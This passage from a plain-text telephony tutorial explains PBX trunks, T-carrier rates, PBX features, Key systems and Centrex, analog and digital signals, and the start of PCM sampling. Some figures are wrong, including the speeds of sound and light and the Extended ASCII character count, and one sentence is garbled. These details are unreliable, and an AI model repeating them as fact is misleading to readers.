  2200. COs.  A trunk may be privately owned or be a leased set of lines that
  2201. run through the Public Switched Network.
  2202.  
  2203. A line is a communication pathway between a switch and terminal
  2204. equipment, such as between a PBX and an internal telephone or between a
  2205. CO and a home telephone.
  2206.  
  2207. The function of the PBX is to interconnect or switch outgoing trunks
  2208. with internal lines.
  2209.  
  2210.  
  2211. Two Varieties of Lines
  2212.  
  2213. Station lines are either analog or digital, depending on the station
  2214. equipment it is connecting.  If the phone on one desk is digital, it
  2215. should be connected to a digital line.  If the phone on the desk is
  2216. analog, it should be connected to an analog line.
  2217.  
  2218.  
  2219. Varieties of Trunks
  2220.  
  2221. There exists a wide variety of trunks that can be connected to a PBX for
  2222. off-premises communication.  Each variety has different functions and
  2223. capabilities.  It is important to be able to distinguish them.
  2224.  
  2225. Tie Trunks
  2226.  
  2227. Organizations supporting a network of geographically dispersed PBXs
  2228. often use tie trunks to interconnect them.  A tie trunk is a permanent
  2229. circuit between two PBXs in a private network.  Tie trunks are usually
  2230. leased from the common carrier; however, a private microwave arrangement
  2231. can be established. Usually, leased tie trunks are not charged on a per 
  2232. call basis but rather on the length of the trunk.  If a tie trunk is
  2233. used more than one or two hours a day, distance sensitive pricing is
  2234. more economical.
  2235.  
  2236. A T1 trunk is a digital CO leased trunk that is capable of being
  2237. multiplexed into 24 voice or data channels at a total rate of 1.544
  2238. Mbps.  T1 trunks are used as PBX-to-PBX tie trunks, PBX-to-CO trunks as
  2239. well as PBX trunks to bypass the local CO and connect directly to a long
  2240. distance carrier.  It is a standard for digital transmission in North
  2241. America and Japan.
  2242.  
  2243. T1 uses two pairs of normal, twisted wire--the same as would be found in
  2244. a subscriber's residence.  Pulse Code Modulation is the preferred method
  2245. of analog to digital conversion.
  2246.  
  2247. A T2 trunk is capable of 96 multiplexed channels at a total rate of
  2248. 6.312 Mbps.
  2249.  
  2250. A T3 trunk is capable of 672 multiplexed channels at a total rate of
  2251. 44.736 Mbps.
  2252.  
  2253. A T4 trunk is capable of 4,032 multiplexed channels at a total of
  2254. 274.176 Mbps.
  2255.  
  2256.  
  2257. Direct Inward Dialing (DID) Trunks
  2258.  
  2259. Incoming calls to a PBX often first flow through an attendant position.
  2260. DID trunks allow users to receive calls directly from the outside
  2261. without intervention from the attendant.  DID offers three main
  2262. advantages.
  2263.  
  2264.       1. It allows direct access to stations from outside the PBX.
  2265.       2. It allows users to receive calls even when the attendant
  2266.       switchboard is closed.
  2267.       3. It takes a portion of the load off the attendants.
  2268.  
  2269. Trunk Pools
  2270.  
  2271. Trunks do not terminate at a user's telephone station.  Instead trunks
  2272. are bundled into groups of similarly configured trunks called trunk
  2273. pools.  When a user wants to access a trunk, he can dial a trunk access
  2274. code--for example, he can dial 9 to obtain a trunk in the pool.  Trunk
  2275. pools make system administration less complicated because it is easier
  2276. to administer a small number of groups than a large number of individual
  2277. trunks.
  2278.  
  2279.  
  2280. Ports
  2281.  
  2282. Ports are the physical and electrical interface between the PBX and a
  2283. trunk or station line.
  2284.  
  2285.  
  2286. PBX Telephones
  2287.  
  2288. Telephone stations in a PBX are not directly connected to the CO but to
  2289. the PBX instead.  When a station goes off-hook, the PBX recognizes it
  2290. and sends to the station its own dial tone.  The PBX requires some
  2291. access digit, usually "9" to obtain an idle CO trunk from a pool to
  2292. connect the station with the public network.   This connection between
  2293. the telephone and the PBX allows stations to take advantage of a myriad
  2294. of PBX features.
  2295.  
  2296. The attendant console is a special PBX telephone designed to serve
  2297. several functions.  Traditionally, most PBXs have used attendants as the
  2298. central answering point for incoming calls.  Calls placed to the PBX
  2299. first connected to the attendant, who answered the company name.  The
  2300. attendant  then established a connection to the desired party.  The
  2301. attendant also provided assistance to PBX users, including directory
  2302. assistance and reports of problems.
  2303.  
  2304. In recent years a number of cost-saving improvements have been made to
  2305. the attendant console.  A feature commonly called automated attendant
  2306. can establish connections without a human interface, substantially
  2307. decreasing PBX operating costs.
  2308.  
  2309. Blocking versus Non-blocking
  2310.  
  2311. Blocking is a critical aspect of the functioning of a PBX.  A
  2312. non-blocking switch is one that provides as many input/output interface
  2313. ports as there are lines in the network.   In other words, the switching
  2314. matrix provides enough paths for all line and trunk ports to be
  2315. connected simultaneously.
  2316.  
  2317. PBX systems are usually blocking.  It requires an exponential increase
  2318. in resources and expense to ensure non-blocking.   Based on call traffic
  2319. studies and the nature of calls, it is generally acceptable to engineer
  2320. a low level of blocking in exchange for a major savings of common
  2321. equipment resources.
  2322.  
  2323. Grades of service are quantitative measurements of blocking.  They are
  2324. written in the form:
  2325.  
  2326.                  P.xx
  2327.  
  2328. where xx is a two digit number that indicates how many calls out of a
  2329. hundred will be blocked.  The smaller the number, the better the grade
  2330. of service.
  2331.  
  2332. P.01 means one call out of a hundred will be blocked.  It is a better
  2333. grade of service than P.05 that block five calls out of a hundred.
  2334. Naturally the P.05 service costs less than the better grade of service
  2335. provided by P.01.
  2336.  
  2337. Even if a PBX's switching matrix is non-blocking, an internal caller may
  2338. still not be able to reach an outside trunk if all the trunks are busy.
  2339. CO trunks cost money, and very few PBXs dedicate one trunk to every
  2340. internal line. Instead, traffic studies are performed to determine the
  2341. percentage of time a station will be connected to an outside trunk
  2342. during peak hours.
  2343.  
  2344. If, for example, it is determined that the average station uses a trunk
  2345. only 20% of the time during peak hours, then the switch may be
  2346. configured to have a 5:1 line-to-trunk ratio, meaning for every five
  2347. lines (or extensions) there is one trunk.  Most PBXs are configured on
  2348. this principle as a major cost saving method.
  2349.  
  2350.  
  2351. PBX Features
  2352.  
  2353. COs and PBXs share many of the same attributes and functionality.
  2354. However, COs are built to perform different tasks than a PBX, resulting
  2355. in feature differences between them.  The following is an overview of
  2356. common PBX features not found in a CO.
  2357.  
  2358. Automatic Route Selection (ARS)
  2359.  
  2360. A primary concern of any telecommunications manager is to keep costs
  2361. down. One of these costs is long distance service.  ARS is a feature
  2362. that controls long distance costs.
  2363.  
  2364. Most PBXs have more than just public CO trunks connected to them.  They
  2365. may have a combination of tie trunks to other PBXs (T1/E1 trunks and
  2366. many others). Each type of trunk has a separate billing scheme,
  2367. relatively more or less expensive for a given number of variables.
  2368.  
  2369. It is extremely difficult to attempt to educate company employees on
  2370. which trunks to select for which calls at what time of day.  It defeats
  2371. the productivity-raising, user-transparency goal of any PBX if employees
  2372. must pour over tariffing charts every time they want to use the phone.
  2373.  
  2374. Instead, ARS programs the PBX central processor to select the least
  2375. expensive trunk on a call by call basis.  When a user places a call, the
  2376. computer determines the most cost effective route, dials the digits and
  2377. completes the call.
  2378.  
  2379.  
  2380. Feature Access
  2381.  
  2382. PBXs support a wide variety of user features.  For example, call
  2383. forward, hold, and call pickup are all user features.  There are two
  2384. methods of activating a feature.  A code, such as "*62" can be assigned
  2385. to the call forward feature. To activate call forward the user presses
  2386. "*62" and continues dialing.
  2387.  
  2388. Dial codes are not the preferred method of feature access.   The problem
  2389. is that users tend to forget the codes and either waste time looking
  2390. them up or do not take advantage of time saving features, thereby
  2391. defeating the purpose of buying them.
  2392.  
  2393. Dedicated button feature access is a better solution.   Programmable
  2394. feature buttons, located on most PBX telephones, are pressed to activate
  2395. the desired feature.  If a user wants to activate call forward, he
  2396. presses a button labeled "call forward" and continues dialing.
  2397.  
  2398. The only drawback of telephones with programmable feature buttons is
  2399. that they are more expensive than standard phones.
  2400.  
  2401.  
  2402. Voice Mail
  2403.  
  2404. For a voice conversation to occur, there is one prerequisite so obvious
  2405. it is usually overlooked.  The called party must be available to answer
  2406. the call.  In today's busy world, people are often not accessible which
  2407. can create a major problem resulting in messages not being received and
  2408. business not being conducted.
  2409.  
  2410. Statistics confirm the need for an alternate method.
  2411.  
  2412.       75% of call attempts fail to make contact with the desired party.
  2413.  
  2414.       50% of business calls involve one-way information--one party
  2415.       wishing to deliver information to another party without any
  2416.       response necessary.
  2417.  
  2418.       50% of incoming calls are less important than the activity they
  2419.       interrupt.
  2420.  
  2421. Voice mail (also known as store and forward technology) is a valuable
  2422. feature that is designed around today's busy, mobile office.  It is like
  2423. a centralized answering machine for all telephone stations in a PBX.
  2424. When a telephone is busy or unattended, the systems routes the caller to
  2425. a voice announcement that explains that the called party is unavailable
  2426. and invites the caller to leave a message.  The message is stored until
  2427. the station user enters a security dial access code and retrieves the
  2428. message.
  2429.  
  2430.  
  2431. Automated Attendant
  2432.  
  2433. Automated attendant is a feature sometimes included with voice mail.  It
  2434. allows outside callers to bypass a human attendant by routing their own
  2435. calls through the PBX.  Callers are greeted with a recorded announcement
  2436. that prompts them to dial the extension number of the desired position,
  2437. or stay on the line to be connected to an attendant.
  2438.  
  2439. Reducing cost is the primary goal of automated attendant.  The decreased
  2440. attendant work load more d) an pays for the cost of the software and
  2441. equipment.
  2442.  
  2443. When automated attendant was first introduced, it met with substantial
  2444. resistance from the general public.  People did not want to talk to a
  2445. machine. But, as its cost effectiveness drove many companies to employ
  2446. it, the public has slowly adjusted to the new technology.
  2447.  
  2448. Restriction
  2449.  
  2450. Nearly every PBX enforces some combination of inside and outside calling
  2451. restrictions on certain phones.  Depending upon the sophistication of
  2452. the PBX, a system administrator can have nearly unlimited flexibility in
  2453. assigning restrictions.   For example, a tire manufacturing plant could
  2454. restrict all lobby phones at corporate headquarters to internal and
  2455. local calls only.  The phones at the storage warehouse could be
  2456. restricted for only internal calling.  But, all executive phones could
  2457. be left unrestricted.
  2458.  
  2459. Long distance toll charges can be a crippling expense.  Toll fraud is a
  2460. major corporate problem.  Restriction combats unauthorized use of
  2461. company telephone resources and is a prime function of any PBX.
  2462.  
  2463.  
  2464. Tandems
  2465.  
  2466. As stated earlier, it is necessary to have a switching mechanism to
  2467. interconnect calls.  If a number of phones all wish to be able to talk
  2468. to each other, an enormous amount of cabling would be wasted tying each
  2469. of them together.  Thus, the switch was born.
  2470.  
  2471. The same principle applies for interconnecting PBXs.  Large firms that
  2472. have PBXs scattered all over the country want each PBX to have the
  2473. ability to access every other one.  But the expense of directly
  2474. connecting each could drive a company out of business.  The solution is
  2475. to create a centrally located tandem switching station to interconnect
  2476. the phones from one PBX with the phones from any other.  This solution
  2477. creates a Private Switched Network.
  2478.  
  2479. Directing digits are often used to inform the tandem switch where to
  2480. route the call.  Each PBX is assigned a unique number.  Let's say a PBX
  2481. in Paris is numbered "4."  To call the Paris PBX from a PBX in Chicago,
  2482. a user would dial "4- XXXX."
  2483.  
  2484.  
  2485. Uniform Dialing Plan
  2486.  
  2487. A network of PBXs can be configured poorly so that calling an extension
  2488. at another PBX could involve dialing a long, confusing series of numbers
  2489. and create a lot of user frustration.  A Uniform Dialing Plan enables a
  2490. caller to dial another internal extension at any PBX on the network with
  2491. a minimum of digits, perhaps four or five.  The system determines where
  2492. to route the call, translates the digits and chooses the best facility,
  2493. all without the knowledge of the user.  As far as the user knows, the
  2494. call could have been placed to a station at the next desk.
  2495.  
  2496.  
  2497. Call Accounting System (CAS) and Station Message Detail Recording (SMDR)
  2498.  
  2499. CAS works in conjunction with SMDR to identify and monitor telephone
  2500. usage in the system.  SMDR records call information such as the calling
  2501. number, the time of the call, and its duration.  The raw data is usually
  2502. listed chronologically and can be printed on reports.
  2503.  
  2504. SMDR by itself is not particularly useful because the sheer volume and
  2505. lack of sorting capability of the reports make them difficult to work
  2506. with.  A Call Accounting Systems is a database program that addresses
  2507. these shortcomings by producing clear, concise management reports
  2508. detailing phone usage.
  2509.  
  2510. The primary function of CAS reports is to help control and discourage
  2511. unnecessary or unauthorized use and to bill back calling charges to
  2512. users. Many law firms use a call accounting system to bill individual
  2513. clients for every call they make on behalf of each client.
  2514.  
  2515.  
  2516. Attendant Features
  2517.  
  2518. A number of features are available to improve the efficiency of
  2519. attendant consoles.
  2520.  
  2521. Here are a few of them.
  2522.  
  2523.       Direct Station Selection (DSS) allows attendants to call any
  2524.       station telephone by pressing a button labeled with its extension.
  2525.  
  2526.       Automatic Timed Reminder alerts the attendant that a station has
  2527.       not picked up its call.  The attendant may choose to reconnect to
  2528.       the call and attempt to reroute it.
  2529.  
  2530.       Centralized Attendant Service groups all network attendants into
  2531.       the same physical location to avoid redundancies of service and
  2532.       locations.
  2533.  
  2534.  
  2535. Power Failure Schemes
  2536.  
  2537. If a city or a town experiences a commercial power failure, telephones
  2538. connected directly to the CO will not be affected because the CO gets
  2539. power from its own internal battery source.  A PBX, however, is
  2540. susceptible to general power failures because it usually gets its power
  2541. from the municipal electric company.
  2542.  
  2543. There are several different ways a PBX can be configured to overcome a
  2544. power failure.
  2545.  
  2546.       A PBX can be directly connected to a DC battery which serves as
  2547.       its source of power.  The battery is continually recharged by an
  2548.       AC line to the electric company.  In the event of a power failure,
  2549.       the PBX will continue functioning until the battery runs out.
  2550.  
  2551.       A PBX can have an Uninterruptable Power Supply (UPS) to protect
  2552.       against temporary surges or losses of power.
  2553.  
  2554.       A PBX can use a Power Failure Transfer (PFT) which, in the event
  2555.       of a power failure, immediately connects preassigned analog phones
  2556.       to CO trunks, thereby using power from the CO instead of from the
  2557.       PBX.
  2558.  
  2559.  
  2560. Outgoing Trunk Queuing
  2561.  
  2562. In the event all outgoing trunks are busy, this feature allows a user to
  2563. dial a Trunk Queuing code and hang up.  As soon as a trunk becomes free,
  2564. the system reserves it for the user, rings the station and connects the
  2565. outside call automatically.
  2566.  
  2567.  
  2568. System Management
  2569.  
  2570. PBXs can be so large and complex that without a carefully designed
  2571. method of system management chaos can result.  The best, most advanced
  2572. systems mimic CO management features--computer access terminals which
  2573. clearly and logically program and control most system features.  The
  2574. system manager has a wide variety of responsibilities which may include,
  2575. but is not limited to
  2576.  
  2577.       Programming telephone moves, additions, and changes on the system
  2578.  
  2579.       Performing traffic analysis to maximize system configuration
  2580.       resources and optimize network performance
  2581.  
  2582.       Responding to system-generated alarms
  2583.  
  2584.       Programming telephone, system, attendant, and network features.
  2585.  
  2586.  
  2587. ISDN
  2588.  
  2589.  
  2590. ISDN is not a product.  Rather, it is a series of standards created by
  2591. the international body, ITU (previously known as CCITT), to support the
  2592. implementation of digital transmission of voice, data, and image through
  2593. standard interfaces.  Its goal is to combine all communications services
  2594. offered over separate networks into a single, standard network.  Any
  2595. subscriber could gain access to this vast network by simply plugging
  2596. into the wall.  (At this time not all PBXs are compatible with the ISDN
  2597. standard.)
  2598.  
  2599.  
  2600. Alternatives to a PBX
  2601.  
  2602. There are two main alternatives to purchasing a PBX.  They are
  2603. purchasing a Key system or renting Centrex service from the local
  2604. telephone company.
  2605.  
  2606.  
  2607. Key System
  2608.  
  2609. Key systems are designed for very small customers, who typically use
  2610. under 15 lines.  There is no switching mechanism as in a PBX.  Instead
  2611. every line terminates on every phone. Hence, everyone with a phone can
  2612. pick up every incoming call.
  2613.  
  2614. Key systems are characterized by a fat cable at the back of each phone.
  2615. The cables are fat because each phone is directly connected to each
  2616. incoming line and each line has to be wired separately to each phone.
  2617.  
  2618. Fat cables have become a drawback to Key systems as building wire
  2619. conduits have begun to fill with wire.  It has become increasingly
  2620. difficult to add and move stations because technicians must physically
  2621. rewire the bulky cables instead of simply programming a change in the
  2622. software.
  2623.  
  2624. Key telephones are equipped with line assignment buttons that light on
  2625. incoming calls and flash on held calls.  These buttons enable a user to
  2626. access each line associated with each button.  Unlike a PBX, there is no
  2627. need to interface with an attendant console to obtain an outside line.
  2628.  
  2629.  
  2630. Differences between Key and PBX Systems
  2631.  
  2632.       Key systems have no switching matrix.  In a Key system, incoming
  2633.       calls terminate directly on a station user's phone.  In a PBX,
  2634.       incoming calls usually first go to the attendant who switches the
  2635.       call to the appropriate station.
  2636.  
  2637.       PBX accesses CO trunk pools by dialing an access code such as "9."
  2638.       Key systems CO trunks are not pooled.  They are accessed directly.
  2639.  
  2640. Key systems make use of a limited number of features, many of them
  2641. common to the PBX.  These include
  2642.  
  2643.            Last number redial
  2644.            Speed dialing
  2645.            Message waiting lamp
  2646.            Paging
  2647.            Toll restriction
  2648.  
  2649. Today's PBXs can simulate Key system operation.  For example, telephones
  2650. can have a line directly terminating on a button for direct access.
  2651.  
  2652.  
  2653. Centrex
  2654.  
  2655. The other alternative to purchasing a PBX is leasing a Centrex service.
  2656.  
  2657. Centrex is a group of PBX-like service offerings furnished by the local
  2658. telephone company.  It offers many of the same features and functions
  2659. associated with a PBX, but without the expense of owning and maintaining
  2660. equipment and supporting in-house administrative personnel.
  2661.  
  2662. Because network control remains the responsibility  of the CO, companies
  2663. that choose Centrex service over purchasing and maintaining a private
  2664. PBX can ignore the sophisticated world of high tech telecommunications
  2665. and leave it up to the telephone company representatives.
  2666.  
  2667. To provide Centrex service, a pair of wires is extended from the CO to
  2668. each user's phone.  Centrex provides an "extension" at each station
  2669. complete with its own telephone number.  No switching equipment is
  2670. located at the customer premises.  Instead, Centrex equipment is
  2671. physically located at the CO.
  2672.  
  2673. There are a number of reasons a company would choose a Centrex system
  2674. over owning their own PBX.  Currently Centrex has six million customers
  2675. in the United States market.
  2676.  
  2677. Advantages of a Centrex System over a PBX:
  2678.  
  2679.       Nearly uninterruptable service due to large redundancies in the CO
  2680.  
  2681.       Easily upgraded to advanced features.
  2682.  
  2683.       No floor space requirement for equipment.
  2684.  
  2685.       No capital investment
  2686.  
  2687.       24-hour maintenance coverage by CO technicians
  2688.  
  2689.       Inherent Direct Inward Dialing (DID).  All lines terminate at
  2690.       extensions, instead of first flowing through a switchboard.
  2691.  
  2692.       Call accounting and user billing as inherent part of the service.
  2693.  
  2694.       Reduced administrative payroll.
  2695.  
  2696.  
  2697. Disadvantages of a Centrex System:
  2698.  
  2699.       Cost.  Centrex is tariffed by the local telephone company and can
  2700.       be very expensive.  Companies are charged for each line connected
  2701.       to the Centrex, as well for the particular service plan chosen.
  2702.       Additionally, Centrex service may be subject to monthly increases.
  2703.  
  2704.       Feature availability.  Centrex feature options are generally not
  2705.       state of the art, lagging behind PBX technology.  Not all COs are
  2706.       of the same generation and level of sophistication--a company
  2707.       associated with an older CO may be subject to inferior service and
  2708.       limited or outdated feature options.
  2709.  
  2710.       Control of the network is the responsibility of the CO.  While
  2711.       this release from responsibility is often cited as a positive
  2712.       feature of Centrex, there are drawback to relinquishing control.
  2713.       CO bureaucracy can be such that a station move, addition or change
  2714.       can sometimes take days to achieve.   Furthermore, each request is
  2715.       charged a fee.  Also, some companies are more particular about
  2716.       certain features of their network (security for example) and
  2717.       require direct control for themselves.
  2718.  
  2719.  
  2720.  
  2721.     .------------------------------------------.
  2722. 3    | Properties of Analog and Digital Signals |
  2723.     `------------------------------------------'
  2724.  
  2725. A man in Canada picks up a telephone and dials a number.  Within
  2726. seconds, he begins talking to his business partner in Madrid.  How can
  2727. this be?
  2728.  
  2729. Telephony is a constantly evolving technology with scientific rules and
  2730. standards.  You will learn to make sense of what would otherwise seem
  2731. impossible.
  2732.  
  2733. Voice travels at 250 meters per second and has a range limited to the
  2734. strength of the speaker's lungs.  In contrast, electricity travels at
  2735. speeds approaching the speed of light (310,000 Km per second) and can be
  2736. recharged to travel lengths spanning the globe.  Obviously, electricity
  2737. is a more effective method of transmission.
  2738.  
  2739. To capitalize on the transmission properties of electricity, voice is
  2740. first converted into electrical impulses and then transmitted.  These
  2741. electrical impulses represent the varying characteristics that
  2742. distinguish all of our voices.  The impulses are transmitted at high
  2743. speeds and then decoded at the receiving end into a recognizable
  2744. duplication of the original voice.
  2745.  
  2746. For a hundred years, scientists have been challenged by how best to
  2747. represent voice by electrical impulses.  An enormous amount of effort
  2748. has been devoted to solving this puzzle.  The two forms of electrical
  2749. signals used to represent voice are analog and digital.
  2750.  
  2751. Both analog and digital signals are composed of waveforms.  However,
  2752. their waveforms have very distinctive properties which distinguish them.
  2753. To understand the science of telephony, it is necessary to understand
  2754. how analog and digital signals function, and what the differences
  2755. between them are.
  2756.  
  2757. If you do not possess a fundamental understanding of basic waveforms,
  2758. you will not understand many of the more advanced concepts of
  2759. telecommunications.
  2760.  
  2761.  
  2762. Analog Signal Properties
  2763.  
  2764. Air is the medium that carries sound.  When we speak to one another, our
  2765. vocal chords create a disturbance of the air.  This disturbance causes
  2766. air molecules to become expanded and compress thus creating waves.  This
  2767. type of wave is called analog, because it creates a waveform similar to
  2768. the sound it represents.
  2769.  
  2770. Analog waves are found in nature.  They are continually flowing and have
  2771. a limitless number of values.  The sine wave is a good example of an
  2772. analog signal.
  2773.  
  2774.  
  2775. Three properties of analog signals are particularly important in
  2776. transmission:
  2777.  
  2778.                    amplitude      frequency      phase
  2779.  
  2780. Amplitude
  2781.  
  2782. Amplitude refers to the maximum height of an analog signal.  Amplitude
  2783. is measured in decibels when the signal is measured in the form of
  2784. audible sound. Amplitude is measured in volts when the signal is in the
  2785. form of electrical energy.
  2786.  
  2787.  
  2788.                        Amplitude of an Analog Wave
  2789.  
  2790.  
  2791. Volts represent the instantaneous amount of power an analog signal
  2792. contains.
  2793.  
  2794. Amplitude, wave height, and loudness of an analog signal represent the
  2795. same property of the signal.  Decibels and volts are simply two
  2796. different units of measurement which are used to quantify this property.
  2797.  
  2798. Frequency
  2799.  
  2800. Frequency is the number of sound waves or cycles that occur in a given
  2801. length of time.  A cycle is represented by a 360 degree sine wave.
  2802. Frequency is measured in cycles per second, commonly called hertz (Hz).
  2803.  
  2804. Frequency corresponds to the pitch (highness or lowness) of a sound. The
  2805. higher the frequency, the higher the pitch.  The high pitch tone of a
  2806. flute will have a higher frequency than the low pitch tone of a bass.
  2807.  
  2808. Phase refers to the relative position of a wave at a point in time.  It
  2809. is useful to compare the phase of two waves that have the same frequency
  2810. by determining whether the waves have the same shape or position at the
  2811. same time.  Waves that are in-step are said to be in phase, and waves
  2812. that are not synchronized are called out-of-phase.
  2813.  
  2814. Modulation
  2815.  
  2816.  
  2817. The reason these three properties are significant is that each can be
  2818. changed (modulated) to facilitate transmission.
  2819.  
  2820. The term modulation means imposing information on an electrical signal.
  2821.  
  2822. The process of modulation begins with a wave of constant amplitude,
  2823. frequency, and phase called carrier wave.  Information signals
  2824. representing voice, data, or video modulate a property (amplitude,
  2825. frequency, or phase) of the carrier wave to create a representation of
  2826. itself on the wave.
  2827.  
  2828. Amplitude Modulation is a method of adding information to an analog
  2829. signal by varying its amplitude while keeping its frequency constant. AM
  2830. radio is achieved by amplitude modulation.
  2831.  
  2832. Frequency Modulation adds information to an analog signal by varying its
  2833. frequency while keeping its amplitude constant.  FM radio is achieved by
  2834. frequency modulation.
  2835.  
  2836. Phase Modulation adds information to an analog signal by varying its
  2837. phase.
  2838.  
  2839. The modulated wave carrying the information is then transmitted to a
  2840. distant station where it is decoded and the information is extracted
  2841. from the signal. 
  2842.  
  2843.  
  2844. Properties of Digital Signals
  2845.  
  2846.  
  2847. Unlike analog signals, digital signals do not occur in nature.  Digital
  2848. signals are an invention of mankind.  They were created as a method of
  2849. coding information.  An early example of digital signals is the Morse
  2850. Code.
  2851.  
  2852. Digital signals have discrete, non-continuous values.  Digital signals
  2853. have only two states:
  2854.  
  2855.  
  2856.        Type of Signal                  State
  2857.        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  2858.        Light switch           On                    Off
  2859.  
  2860.  
  2861.        Voltage                Voltage Level 1       Voltage Level 2
  2862.                               (-2 volts)            (+2 volts)
  2863.  
  2864.        Morse                  Short beat            Long beat
  2865.  
  2866.  
  2867.  
  2868. Computers and humans cannot communicate directly with each other.  We do
  2869. not understand what tiny bits and voltage changes mean.  Computers do
  2870. not understand the letters of the alphabet or words.
  2871.  
  2872. For computers and humans to communicate with each other, a variety of
  2873. binary (digital) languages, called character codes, have been created.
  2874. Each character of a character code represents a unique letter of the
  2875. alphabet:  a digit, punctuation mark, or printing character.
  2876.  
  2877. The most popular character code is call ASCII (America Standard Code for
  2878. Information Interchange).  It uses a seven bit coding scheme-- each
  2879. character consists of a unique combination of seven 1s and 0s.  For
  2880. example, the capital letter T is represented by the ASCII 1010100; the
  2881. number 3 by the ACSII 0110011. The maximum number of different
  2882. characters which can be coded in ASCII is 128).
  2883.  
  2884.  
  2885.                       English          ASCII
  2886.  
  2887.                          T             1010100
  2888.  
  2889.                          3             0110011
  2890.  
  2891.  
  2892. Another character code is called Extended ASCII.  Extended ASCII builds
  2893. upon the existing ASCII character code.  Extended ASCII codes characters
  2894. into eight bits providing 256 character representations).  The extra 127
  2895. characters represent foreign language letters and other useful symbols.
  2896.  
  2897.  
  2898. Signal Loss - Attenuation
  2899.  
  2900. Analog and digital signals are transmitted to provide communication over
  2901. long distances.  Unfortunately, the strength of any transmitted signal
  2902. weakens over distance.  This phenomenon is called attenuation.  Both
  2903. analog and digital signals are subject to attenuation, but the
  2904. attenuation is overcome in very different ways.
  2905.  
  2906.  
  2907. Analog Attenuation
  2908.  
  2909. Every kilometer or so, an analog signal must be amplified to overcome
  2910. natural attenuation.  Devices called amplifiers boost all the signals
  2911. they receive, strengthening the signals to their original power.  The
  2912. problem is that over distance, noise is created and it is boosted along
  2913. with the desired signal.
  2914.  
  2915. The result of using amplifiers is that both the noise (unwanted
  2916. electrical energy) and the signal carrying the information are
  2917. amplified.  Because the noise is amplified every kilometer, it can build
  2918. up enough energy to make a conversation incomprehensible.  If the noise
  2919. becomes too great, communication may become impossible.
  2920.  
  2921. Two different types of noise affect signal quality.
  2922.  
  2923.       White noise is the result of unwanted electrical signals over
  2924.       lines.  When it becomes loud enough, it sounds like the roar of
  2925.       the ocean at a distance.
  2926.  
  2927.       Impulse noise is caused by intermittent disturbances such as
  2928.       telephone company switch activity or lightning.  It sounds like
  2929.       pops and crack over the line.
  2930.  
  2931. As analog signals pass through successive amplifiers, the noise is
  2932. amplified along with the signal and therefore causes the signal to
  2933. degenerate.
  2934.  
  2935.  
  2936. Digital Attenuation
  2937.  
  2938. Although digital signals are also affected by attenuation, they are
  2939. capable of a much more effective method to overcome signal loss.  A
  2940. device called a regenerative repeater determines whether the incoming
  2941. digital signal is a 1 or a 0.  The regenerative repeater then recreates
  2942. the signal and transmits it at a higher signal strength.  This method is
  2943. more effective than repeating an analog signal because digital signals
  2944. can only be one of two possible states.  Remember that an analog signal
  2945. is comprised of an infinite number of states.)
  2946.  
  2947. The advantage of a digital regenerator is that noise is not reproduced.
  2948. At each regenerative repeater, all noise is filtered out-- a major
  2949. advantage over analog amplification.
  2950.  
  2951.  
  2952. Advantages of Digital over Analog Signals
  2953.  
  2954.  
  2955. 1.    Digital regenerative repeaters are superior to analog amplifiers.
  2956.  
  2957.       A buildup of noise causes a distortion of the waveform.  If the
  2958.       distortion is large enough, a signal will not arrive in the same
  2959.       form as it was transmitted.  The result is errors in transmission.
  2960.  
  2961.       In digital transmission, noise is filtered out leaving a clean,
  2962.       clear signal.  A comparison of average error rates shows
  2963.  
  2964.                  Analog:    1 error every 100,000 signals
  2965.  
  2966.                  Digital:   1 error every 10,000,000 signals
  2967.  
  2968. 2.    The explosion of modern digital electronic equipment on the market
  2969.       has greatly reduced its price, making digital communications
  2970.       increasingly more cost effective.  The price of computer chips,
  2971.       the brains of electronic equipment, has dropped dramatically in
  2972.       recent years further reducing the price of digital equipment.
  2973.  
  2974.       This trend will almost certainly continue adding more pressure to
  2975.       use digital methods.
  2976.  
  2977.  
  2978. 3.    An ever increasing bulk of communication is between digital
  2979.       equipment (computer-to-computer)
  2980.  
  2981.       For most of telephony history, long distance communication meant
  2982.       voice telephone conversations.  Because voice is analog in nature,
  2983.       it was logical to use analog facilities for transmission.  Now the
  2984.       picture is changing.  More and more communication is between
  2985.       computers, digital faxes, and other digital transmission devices.
  2986.  
  2987.       Naturally, it is preferable to send digital data over digital
  2988.       transmission equipment when both sending and receiving devices are
  2989.       digital since there is no need to convert the digital signals to
  2990.       analog to prepare them for analog transmission.
  2991.  
  2992. Historically, telephone networks were intended to carry analog voice
  2993. traffic. Therefore, equipment was designed to create, transmit, and
  2994. process analog signals.  As technology in computers (microprocessors)
  2995. and digital transmission has advanced, nearly all equipment installed in
  2996. new facilities are digital.
  2997.  
  2998.  
  2999.     .---------------------------.
  3000. 4    | Analog-Digital Conversion |
  3001.     `---------------------------'
  3002.  
  3003.  
  3004. Because it offers better transmission quality, almost every long
  3005. distance telephone communication now uses digital transmission on the
  3006. majority of their lines.  But since voice in its natural form is analog,
  3007. it is necessary to convert these.  In order to transmit analog waves
  3008. over digital facilities to capitalize on its numerous advantages, analog
  3009. waves are converted to digital waves.
  3010.  
  3011.  
  3012. Pulse Code Modulation (PCM)
  3013.  
  3014. The conversion process is called Pulse Code Modulation (PCM) and is
  3015. performed by a device called a codec (coder/decoder).  PCM is a method
  3016. of converting analog signals into digital 1s and 0s, suitable for
  3017. digital transmission.  At the receiving end of the transmission, the
  3018. coded 1s and 0s are reconverted into analog signals which can be
  3019. understood by the listener.
  3020.  
  3021.  
  3022. Three Step Process of PCM
  3023.  
  3024.  
  3025. Step 1 - Sampling
  3026.  
  3027.  
  3028. Sampling allows for the recording of the voltage levels at discrete
  3029. points in prescribed time intervals along an analog wave.  Each voltage
  3030. level is called a sample.  Nyquist's Theorem states:
  3031.  
  3032.       If an analog signal is sampled at twice the rate of the highest
  3033.       frequency it attains, the reproduced signal will be a highly
  3034.       accurate reproduction of the original.
  3035.  
  3036. The highest frequency used in voice communications is 4000 Hz (4000
  3037. cycles per second).  Therefore, if a signal is sampled 8000 times per
  3038. second, the listener will never know they have been connected and
  3039. disconnected 8000 times every second!  They will simply recognize the
  3040. signal as the voice of the speaker.
  3041.  
  3042. To visualize this procedure better, consider how a movie works.  Single
  3043. still frames are sped past a light and reproduced on a screen.  Between
  3044. each of the frames is a dark space.  Since the frames move so quickly,
  3045. the eye does not detect this dark space.  Instead the eye perceives
  3046. continuous motion from the still frames.
  3047.  
  3048. PCM samples can be compared to the still frames of a movie.  Since the
  3049. voice signal is sampled at such frequent intervals, the listener does
  3050. not realize that there are breaks in the voice and good quality
